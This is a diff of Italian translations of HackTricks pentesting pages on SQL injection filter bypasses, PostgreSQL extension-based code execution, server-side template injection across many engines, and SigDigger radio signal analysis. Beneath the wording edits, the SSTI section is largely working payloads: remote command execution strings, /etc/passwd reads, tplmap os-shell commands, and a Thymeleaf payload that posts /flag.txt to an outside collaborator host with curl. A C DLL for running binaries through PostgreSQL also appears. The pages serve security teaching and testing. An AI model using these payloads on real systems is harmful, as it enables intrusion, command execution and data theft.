- Se la riga per `admin_generic@example.com` esiste già, la clausola `ON DUPLICATE KEY UPDATE` si attiva, istruendo MySQL ad aggiornare il campo `password` della riga esistente a "bcrypt_hash_of_newpassword".
|
||||
- Di conseguenza, l'autenticazione può quindi essere tentata utilizzando `admin_generic@example.com` con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'hash reale della password desiderata).
|
||||
- Di conseguenza, l'autenticazione può quindi essere tentata utilizzando `admin_generic@example.com` con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'hash effettivo della password desiderata).
|
||||
|
||||
### Estrai informazioni
|
||||
|
||||
#### Creazione di 2 account contemporaneamente
|
||||
#### Creare 2 account contemporaneamente
|
||||
|
||||
Quando si tenta di creare un nuovo utente, sono necessari nome utente, password e email:
|
||||
```
|
||||
@ -393,7 +397,7 @@ Example:
|
||||
|
||||
### Bypass senza spazi
|
||||
|
||||
No Space (%20) - bypass utilizzando alternative di spazi bianchi
|
||||
No Space (%20) - bypass utilizzando alternative agli spazi bianchi
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -426,7 +430,7 @@ Blacklist usando parole chiave - bypass usando maiuscole/minuscole
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Blacklist usando parole chiave senza distinzione tra maiuscole e minuscole - bypass usando un operatore equivalente
|
||||
Blacklist utilizzando parole chiave senza distinzione tra maiuscole e minuscole - bypass utilizzando un operatore equivalente
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -447,12 +451,12 @@ Fondamentalmente puoi utilizzare la notazione scientifica in modi inaspettati pe
|
||||
|
||||
Prima di tutto, nota che se la **query originale e la tabella da cui vuoi estrarre il flag hanno lo stesso numero di colonne** puoi semplicemente fare: `0 UNION SELECT * FROM flag`
|
||||
|
||||
È possibile **accedere alla terza colonna di una tabella senza utilizzare il suo nome** usando una query come la seguente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, quindi in un sqlinjection questo apparirebbe come:
|
||||
È possibile **accedere alla terza colonna di una tabella senza utilizzare il suo nome** usando una query come la seguente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, quindi in un sqlinjection questo apparirebbe così:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
O utilizzando un **comma bypass**:
|
||||
O usando un **comma bypass**:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
|
||||
@ -8,7 +8,7 @@ PostgreSQL è stato sviluppato con l'estensibilità come caratteristica fondamen
|
||||
|
||||
A partire dalla versione 8.1, viene imposto un requisito specifico sulle librerie di estensione: devono essere compilate con un'intestazione speciale. Senza questo, PostgreSQL non le eseguirà, garantendo che vengano utilizzate solo estensioni compatibili e potenzialmente sicure.
|
||||
|
||||
Inoltre, tieni presente che **se non sai come** [**caricare file sulla vittima abusando di PostgreSQL, dovresti leggere questo post.**](big-binary-files-upload-postgresql.md)
|
||||
Inoltre, tieni presente che **se non sai come** [**caricare file sulla vittima abusando di PostgreSQL dovresti leggere questo post.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE in Linux
|
||||
|
||||
@ -81,7 +81,7 @@ Questo errore è spiegato nella [documentazione di PostgreSQL](https://www.postg
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
Dalla versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è diventato più impegnativo. L'attaccante deve utilizzare una libreria già presente sul sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "magic block" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più profonda dell'architettura del sistema e della compatibilità delle versioni.
|
||||
Dalla versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è stato reso più impegnativo. L'attaccante deve utilizzare una libreria già presente sul sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "magic block" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più profonda dell'architettura del sistema e della compatibilità delle versioni.
|
||||
|
||||
#### Compila la libreria
|
||||
|
||||
@ -127,7 +127,7 @@ https://github.com/Dionach/pgexec
|
||||
|
||||
### RCE in Windows
|
||||
|
||||
La seguente DLL prende come input il **nome del binario** e il **numero** di **volte** che desideri eseguirlo e lo esegue:
|
||||
Il seguente DLL prende come input il **nome del binario** e il **numero** di **volte** che vuoi eseguirlo e lo esegue:
|
||||
```c
|
||||
#include "postgres.h"
|
||||
#include <string.h>
|
||||
@ -166,7 +166,9 @@ PG_RETURN_VOID();
|
||||
```
|
||||
Puoi trovare il DLL compilato in questo zip:
|
||||
|
||||
{% file src="../../../images/pgsql_exec.zip" %}
|
||||
{{#file}}
|
||||
pgsql_exec.zip
|
||||
{{#endfile}}
|
||||
|
||||
Puoi indicare a questo DLL **quale binario eseguire** e il numero di volte da eseguire, in questo esempio eseguirà `calc.exe` 2 volte:
|
||||
```bash
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cos'è SSTI (Server-Side Template Injection)
|
||||
## Che cos'è SSTI (Server-Side Template Injection)
|
||||
|
||||
L'iniezione di template lato server è una vulnerabilità che si verifica quando un attaccante può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, incluso Jinja.
|
||||
|
||||
@ -18,7 +18,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server.
|
||||
|
||||
Per prevenire vulnerabilità da iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
|
||||
Per prevenire vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
|
||||
|
||||
### Rilevamento
|
||||
|
||||
@ -31,7 +31,7 @@ Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing
|
||||
|
||||
#### Fase di identificazione
|
||||
|
||||
Identificare il motore del template comporta l'analisi dei messaggi di errore o il test manuale di vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
|
||||
Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
|
||||
|
||||
#### Identificazione tramite payload
|
||||
|
||||
@ -60,13 +60,13 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||||
```
|
||||
### [Tabella di Iniezione dei Template](https://github.com/Hackmanit/template-injection-table)
|
||||
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
una tabella interattiva contenente i polyglot di iniezione dei template più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
|
||||
una tabella interattiva contenente i polyglots di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
|
||||
|
||||
## Sfruttamenti
|
||||
## Exploits
|
||||
|
||||
### Generico
|
||||
### Generic
|
||||
|
||||
In questa **wordlist** puoi trovare **variabili definite** negli ambienti di alcuni dei motori menzionati di seguito:
|
||||
|
||||
@ -75,7 +75,7 @@ In questa **wordlist** puoi trovare **variabili definite** negli ambienti di alc
|
||||
|
||||
### Java
|
||||
|
||||
**Java - Iniezione di base**
|
||||
**Java - Basic injection**
|
||||
```java
|
||||
${7*7}
|
||||
${{7*7}}
|
||||
@ -155,7 +155,7 @@ $out.read()
|
||||
|
||||
### Thymeleaf
|
||||
|
||||
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti:
|
||||
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per una potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti:
|
||||
|
||||
- SpringEL:
|
||||
|
||||
@ -184,7 +184,7 @@ Considera il seguente frammento di codice, che potrebbe essere suscettibile a sf
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Questo indica che se il motore di template elabora questi input in modo improprio, potrebbe portare all'esecuzione remota di codice accedendo a URL come:
|
||||
Questo indica che se il motore di template elabora questi input in modo improprio, potrebbe portare all'esecuzione di codice remoto accedendo a URL come:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
@ -203,7 +203,7 @@ el-expression-language.md
|
||||
```
|
||||
**Bypass filters**
|
||||
|
||||
È possibile utilizzare più espressioni variabili; se `${...}` non funziona, prova `#{...}`, `*{...}`, `@{...}` o `~{...}`.
|
||||
Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.
|
||||
|
||||
- Leggi `/etc/passwd`
|
||||
```java
|
||||
@ -242,7 +242,7 @@ print(base_payload + end_payload)
|
||||
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||||
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||||
|
||||
### Manipolazione della vista Spring (Java)
|
||||
### Manipolazione della Vista di Spring (Java)
|
||||
```java
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||
@ -316,7 +316,7 @@ Corretto da [https://github.com/HubSpot/jinjava/pull/230](https://github.com/Hub
|
||||
- `{{'a'.toUpperCase()}}` - "A"
|
||||
- `{{'a'.concat('b')}}` - "ab"
|
||||
- `{{'a'.getClass()}}` - java.lang.String
|
||||
- `{{request.getClass()}}` - classe com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
Cerca "com.hubspot.content.hubl.context.TemplateContextRequest" e scopri il [progetto Jinjava su Github](https://github.com/HubSpot/jinjava/).
|
||||
@ -360,11 +360,11 @@ Cerca "com.hubspot.content.hubl.context.TemplateContextRequest" e scopri il [pro
|
||||
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||||
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
**Ulteriori informazioni**
|
||||
**Maggiore informazione**
|
||||
|
||||
- [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||||
|
||||
### Linguaggio di Espressione - EL (Java)
|
||||
### Expression Language - EL (Java)
|
||||
|
||||
- `${"aaaa"}` - "aaaa"
|
||||
- `${99999+1}` - 100000.
|
||||
@ -372,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica applicativa (come i managed beans) in JavaEE. Viene utilizzato ampiamente in diverse tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
|
||||
L'Expression Language (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica applicativa (come i managed beans) in JavaEE. Viene utilizzata ampiamente in diverse tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Utilizza EL per collegare i componenti nelle pagine JSF ai dati e alle azioni corrispondenti nel backend.
|
||||
- **JavaServer Pages (JSP)**: EL è utilizzato in JSP per accedere e manipolare i dati all'interno delle pagine JSP, rendendo più facile collegare gli elementi della pagina ai dati dell'applicazione.
|
||||
@ -411,7 +411,7 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
|
||||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||||
```
|
||||
### Altro Java
|
||||
### Other Java
|
||||
|
||||
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -498,7 +498,7 @@ Modello di pagina:
|
||||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
Layout template:
|
||||
Modello di layout:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) motore di templating PHP non compilante, che utilizza tag XML per suddividere un documento in diverse parti
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) motore di templating PHP non compilante, che utilizza tag XML per dividere un documento in diverse parti
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
@ -629,7 +629,7 @@ Hello {NAME}.<br/>
|
||||
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
Path Traversal (maggiori informazioni [qui](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
Path Traversal (ulteriori informazioni [qui](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
@ -668,14 +668,14 @@ URLencoded:
|
||||
|
||||
| **Template** | **Descrizione** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | Valuta e rende l'output |
|
||||
| | Valuta e rende l'output HTML codificato |
|
||||
| | Valuta e restituisce l'output |
|
||||
| | Valuta e restituisce l'output HTML codificato |
|
||||
| | Commento |
|
||||
| e | Consenti codice (disabilitato per impostazione predefinita) |
|
||||
|
||||
- \= 49
|
||||
|
||||
**Lato Client**
|
||||
**Lato client**
|
||||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
@ -814,7 +814,7 @@ Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di
|
||||
|
||||
[Official website](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 è un motore di template completo per Python. Ha pieno supporto per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
|
||||
> Jinja2 è un motore di template completo per Python. Ha supporto completo per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
|
||||
|
||||
- `{{7*7}} = Errore`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -893,7 +893,7 @@ ${x}
|
||||
|
||||
<figure><img src="../../images/image (3) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- Maggiori informazioni in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
- Maggiori informazioni su [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
@ -950,7 +950,7 @@ Nel motore di template di Go, la conferma del suo utilizzo può essere effettuat
|
||||
|
||||
**XSS Exploitation**
|
||||
|
||||
Con il pacchetto `text/template`, l'XSS può essere semplice inserendo il payload direttamente. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `<script>alert(1)</script>`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Con il pacchetto `text/template`, l'XSS può essere semplice inserendo direttamente il payload. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `<script>alert(1)</script>`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
@ -974,9 +974,11 @@ return string(out)
|
||||
|
||||
Controlla il resto di [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) per ulteriori exploit. Puoi anche trovare informazioni interessanti sui tag in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
||||
## PDF BlackHat
|
||||
## BlackHat PDF
|
||||
|
||||
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
## Aiuto Correlato
|
||||
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
### Configurazione di base
|
||||
|
||||
Dopo l'installazione ci sono alcune cose che potresti considerare di configurare.\
|
||||
Nelle impostazioni (il secondo pulsante della scheda) puoi selezionare il **dispositivo SDR** o **selezionare un file** da leggere e quale frequenza sintonizzare e il tasso di campionamento (raccomandato fino a 2.56Msps se il tuo PC lo supporta)\\
|
||||
Nelle impostazioni (il secondo pulsante della scheda) puoi selezionare il **dispositivo SDR** o **selezionare un file** da leggere e quale frequenza sintonizzare e il tasso di campionamento (consigliato fino a 2.56Msps se il tuo PC lo supporta)\\
|
||||
|
||||
.png>)
|
||||
|
||||
@ -18,15 +18,15 @@ Nel comportamento della GUI è consigliato abilitare alcune cose se il tuo PC lo
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Se ti rendi conto che il tuo PC non cattura nulla, prova a disabilitare OpenGL e abbassare il tasso di campionamento.
|
||||
> Se ti rendi conto che il tuo PC non sta catturando nulla, prova a disabilitare OpenGL e abbassare il tasso di campionamento.
|
||||
|
||||
### Usi
|
||||
|
||||
- Per **catturare un po' di un segnale e analizzarlo** basta mantenere premuto il pulsante "Push to capture" finché ne hai bisogno.
|
||||
- Per **catturare un po' di tempo di un segnale e analizzarlo** basta mantenere premuto il pulsante "Push to capture" finché ne hai bisogno.
|
||||
|
||||
.png>)
|
||||
|
||||
- Il **Tuner** di SigDigger aiuta a **catturare segnali migliori** (ma può anche degradarli). Idealmente inizia da 0 e continua a **aumentarlo fino a** trovare che il **rumore** introdotto è **maggiore** del **miglioramento del segnale** di cui hai bisogno).
|
||||
- Il **Tuner** di SigDigger aiuta a **catturare segnali migliori** (ma può anche degradarli). Idealmente inizia da 0 e continua a **aumentarlo fino a** trovare il **rumore** introdotto che è **maggiore** del **miglioramento del segnale** di cui hai bisogno).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -38,7 +38,7 @@ Con [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sincronizza con il
|
||||
|
||||
## Trucchi interessanti
|
||||
|
||||
- Quando un dispositivo sta inviando burst di informazioni, di solito la **prima parte sarà un preambolo**, quindi **non** devi **preoccuparti** se **non trovi informazioni** lì **o se ci sono alcuni errori**.
|
||||
- Quando un dispositivo sta inviando burst di informazioni, di solito la **prima parte sarà un preambolo** quindi **non** devi **preoccuparti** se **non trovi informazioni** lì **o se ci sono alcuni errori**.
|
||||
- Nei frame di informazioni di solito dovresti **trovare diversi frame ben allineati tra loro**:
|
||||
|
||||
.png>)
|
||||
@ -51,20 +51,22 @@ Con [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sincronizza con il
|
||||
### Scoprire il tipo di modulazione con IQ
|
||||
|
||||
Ci sono 3 modi per memorizzare informazioni nei segnali: modulando l'**ampiezza**, la **frequenza** o la **fase**.\
|
||||
Se stai controllando un segnale ci sono diversi modi per cercare di capire cosa viene utilizzato per memorizzare informazioni (trova più modi di seguito) ma uno buono è controllare il grafico IQ.
|
||||
Se stai controllando un segnale ci sono diversi modi per cercare di capire cosa viene utilizzato per memorizzare informazioni (trova più modi qui sotto) ma uno buono è controllare il grafico IQ.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Rilevamento AM**: Se nel grafico IQ appare ad esempio **2 cerchi** (probabilmente uno in 0 e l'altro in un'ampiezza diversa), potrebbe significare che questo è un segnale AM. Questo perché nel grafico IQ la distanza tra 0 e il cerchio è l'ampiezza del segnale, quindi è facile visualizzare diverse ampiezze utilizzate.
|
||||
- **Rilevamento PM**: Come nell'immagine precedente, se trovi piccoli cerchi non correlati tra loro probabilmente significa che viene utilizzata una modulazione di fase. Questo perché nel grafico IQ, l'angolo tra il punto e il 0,0 è la fase del segnale, quindi significa che vengono utilizzate 4 fasi diverse.
|
||||
- **Rilevamento AM**: Se nel grafico IQ appare ad esempio **2 cerchi** (probabilmente uno in 0 e l'altro in un'ampiezza diversa), potrebbe significare che questo è un segnale AM. Questo perché nel grafico IQ la distanza tra lo 0 e il cerchio è l'ampiezza del segnale, quindi è facile visualizzare diverse ampiezze utilizzate.
|
||||
- **Rilevamento PM**: Come nell'immagine precedente, se trovi piccoli cerchi non correlati tra loro probabilmente significa che viene utilizzata una modulazione di fase. Questo perché nel grafico IQ, l'angolo tra il punto e lo 0,0 è la fase del segnale, quindi significa che vengono utilizzate 4 fasi diverse.
|
||||
- Nota che se le informazioni sono nascoste nel fatto che una fase è cambiata e non nella fase stessa, non vedrai fasi diverse chiaramente differenziate.
|
||||
- **Rilevamento FM**: IQ non ha un campo per identificare le frequenze (la distanza dal centro è l'ampiezza e l'angolo è la fase).\
|
||||
Pertanto, per identificare FM, dovresti **vedere solo fondamentalmente un cerchio** in questo grafico.\
|
||||
Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da un'**accelerazione di velocità attraverso il cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ viene popolato, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM):
|
||||
Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da una **accelerazione della velocità attraverso il cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ si popola, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM):
|
||||
|
||||
## Esempio AM
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Scoprire AM
|
||||
|
||||
@ -112,14 +114,14 @@ Puoi anche indicare il numero di simboli che stai per selezionare e SigDigger ca
|
||||
|
||||
### Ottenere i bit
|
||||
|
||||
Avendo trovato che questo è un segnale **modulato in AM** e il **tasso di simboli** (e sapendo che in questo caso qualcosa up significa 1 e qualcosa down significa 0), è molto facile **ottenere i bit** codificati nel segnale. Quindi, seleziona il segnale con informazioni e configura il campionamento e la decisione e premi campione (controlla che **Ampiezza** sia selezionato, il **Tasso di simboli** scoperto è configurato e il **recupero dell'orologio di Gadner** è selezionato):
|
||||
Avendo trovato che questo è un segnale **modulato AM** e il **tasso di simboli** (e sapendo che in questo caso qualcosa up significa 1 e qualcosa down significa 0), è molto facile **ottenere i bit** codificati nel segnale. Quindi, seleziona il segnale con informazioni e configura il campionamento e la decisione e premi campione (controlla che **Ampiezza** sia selezionato, il **Tasso di simboli** scoperto è configurato e il **Recupero dell'orologio di Gardner** è selezionato):
|
||||
|
||||
.png>)
|
||||
|
||||
- **Sincronizza con gli intervalli di selezione** significa che se hai precedentemente selezionato intervalli per trovare il tasso di simboli, quel tasso di simboli sarà utilizzato.
|
||||
- **Manuale** significa che il tasso di simboli indicato sarà utilizzato
|
||||
- Nella **Selezione a intervallo fisso** indichi il numero di intervalli che dovrebbero essere selezionati e calcola il tasso di simboli da esso
|
||||
- **Recupero dell'orologio di Gadner** è di solito la migliore opzione, ma devi comunque indicare un tasso di simboli approssimativo.
|
||||
- **Recupero dell'orologio di Gardner** è di solito la migliore opzione, ma devi comunque indicare un tasso di simboli approssimativo.
|
||||
|
||||
Premendo campione appare questo:
|
||||
|
||||
@ -129,7 +131,7 @@ Ora, per far capire a SigDigger **dove si trova l'intervallo** del livello che t
|
||||
|
||||
.png>)
|
||||
|
||||
Se ci fossero stati ad esempio **4 diversi livelli di ampiezza**, dovresti configurare i **Bit per simbolo a 2** e selezionare dal più piccolo al più grande.
|
||||
Se ci fossero stati ad esempio **4 livelli di ampiezza diversi**, dovresti configurare i **Bit per simbolo a 2** e selezionare dal più piccolo al più grande.
|
||||
|
||||
Infine **aumentando** lo **Zoom** e **cambiando la dimensione della riga** puoi vedere i bit (e puoi selezionare tutto e copiare per ottenere tutti i bit):
|
||||
|
||||
@ -137,11 +139,13 @@ Infine **aumentando** lo **Zoom** e **cambiando la dimensione della riga** puoi
|
||||
|
||||
Se il segnale ha più di 1 bit per simbolo (ad esempio 2), SigDigger **non ha modo di sapere quale simbolo è** 00, 01, 10, 11, quindi utilizzerà diverse **scale di grigio** per rappresentare ciascuno (e se copi i bit utilizzerà **numeri da 0 a 3**, dovrai trattarli).
|
||||
|
||||
Inoltre, usa **codificazioni** come **Manchester**, e **up+down** può essere **1 o 0** e un down+up può essere un 1 o 0. In quei casi devi **trattare gli up ottenuti (1) e i down (0)** per sostituire le coppie di 01 o 10 come 0 o 1.
|
||||
Inoltre, usa **codificazioni** come **Manchester**, e **up+down** può essere **1 o 0** e un down+up può essere un 1 o 0. In quei casi devi **trattare gli up (1) e down (0) ottenuti** per sostituire le coppie di 01 o 10 come 0 o 1.
|
||||
|
||||
## Esempio FM
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
|
||||
